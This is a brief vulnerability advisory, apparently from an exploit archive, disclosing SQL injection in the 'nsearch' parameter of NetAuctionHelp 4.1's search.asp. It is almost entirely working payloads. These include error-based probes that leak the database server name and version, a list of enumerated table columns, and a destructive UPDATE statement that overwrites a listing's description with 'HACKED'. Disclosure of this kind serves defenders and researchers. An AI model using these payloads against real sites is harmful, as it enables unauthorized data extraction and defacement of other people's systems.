NetAuctionHelp 4.1 (nsearch) Remote SQL Injection Vulnerability

Aria-Security Net http://Aria-Security.Net ------------------------ Vendor: http://www.netauctionhelp.com PoC: search.asp ?sort=ni&category=&categoryname=&kwsearch=&nsearch=[SQL INJECTION] search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch='having 1=1-- search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch=1' or 1=convert(int,@@servername)-- search.asp?sort=ni&category=&categoryname=&kwsearch=&nsearch=1' or 1=convert(int,@@version)-- tblAd.id tblAd.aspectratio tblAd.title tblAd.imagepath tblAd.startdate tblAd.enddate tblAd.id_seller tblAd.descr -1' UPDATE tblAd set descr= 'HACKED' Where(ID= '1');-- this code with update itemdetl.asp?id=1 Credit goes to Aria-Security.Net Greetz: AurA